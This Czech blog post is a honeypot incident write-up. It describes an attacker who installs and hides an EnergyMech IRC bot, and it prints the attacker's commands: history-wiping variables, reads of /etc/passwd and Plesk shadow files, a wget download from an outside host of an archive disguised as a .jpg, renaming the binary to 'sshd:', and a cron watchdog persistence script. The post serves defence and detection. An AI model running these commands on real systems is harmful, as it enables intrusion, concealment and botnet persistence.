Jak útočí script kiddies a jak zjistit napadení

Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.

O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:

$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \
> export HISTFILE=/dev/null; export HISTSIZE=0; \
> export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \
> unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \
> unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null

Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:

$ cat /proc/cpuinfo
$ cd /home
$ ls -xa
$ cd -
$ uname -a
$ w

Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):

$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2
$ cat /etc/psa/.psa.shadow
$ history -c
$ cat /etc/ssh/.sshd_auth

Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):

$ ps -aux
$ cat /etc/passwd
$ uname -a
$ w
$ last
$ cd ~
$ ls -xa

Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):

$ cd /dev/shm/
$ ls -xa
$ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;

Obsahem archivu byly následující soubory:

XXX/
XXX/autorun
XXX/bash
XXX/inst
XXX/m.help
XXX/pico
XXX/r/
XXX/r/raway.e
XXX/r/rinsult.e
XXX/r/rkicks.e
XXX/r/rnicks.e
XXX/r/rpickup.e
XXX/r/rsay.e
XXX/r/rsignoff.e
XXX/r/rtsay.e
XXX/r/rversions.e
XXX/run
XXX/start
XXX/update
XXX/xh

Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:

$ rm -rf XXX.jpg
$ cd XXX
$ chmod +x *
$ mv bash sshd:
$ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run
$ ./start qq

Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:

cat /etc/passwd
history -c

Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:

#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):

$ cat m.set
SERVER 208.83.20.130 6667
SERVER budapest.hu.eu.undernet.org 7000
SERVER budapest.hu.eu.undernet.org 6666
SERVER zurich.ch.eu.undernet.org 7000
SERVER mesa.az.us.undernet.org 7000
ENTITY 192.168.1.1
### BOT 1 ###
NICK Irina
USERFILE 192.168.1.1.user
CMDCHAR .
LOGIN Peter
IRCNAME Olga
MODES +iwsx
HASONOTICE
VIRTUAL 192.168.1.1
TOG CC 1
TOG CLOAK 1
TOG SPY 1
SET OPMODES 6
SET BANMODES 6
CHANNEL #qq 
TOG PUB 1
TOG MASS 1
TOG SHIT 1
TOG PROT 1
TOG ENFM 0
SET MKL 7
SET MBL 7
SET MPL
$ cat 192.168.1.1.user
handle * 
mask *!*@MagicX.users.undernet.org 
prot 4
aop 1
channel * 
access 100

Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:

Infected with a virus or trojan, please clean your system.
Cleaner @ http://www.moosoft.com (P227)

V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.

Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.

Jiří Machálek

Autor:

Komentáře (2)

  1. guest říká:

    Zdravim, dobre by bylo uvest i info o utocnikovi… jestli pouzival nejaky redirect, nebo z nejakeho verejneho mista atd. dekuji

    • Jiří Machálek říká:

      Díky za připomínku. Pro doplnění tedy: připojoval se z nizozemské IP 95.211.187.210, zda to byla jen proxy pochopitelně nevím. Jeho SSH klient se identifikoval jako SSH-2.0-PuTTY_Release_0.62 a na serveru strávil celkem 3 minuty.

Zanechte komentář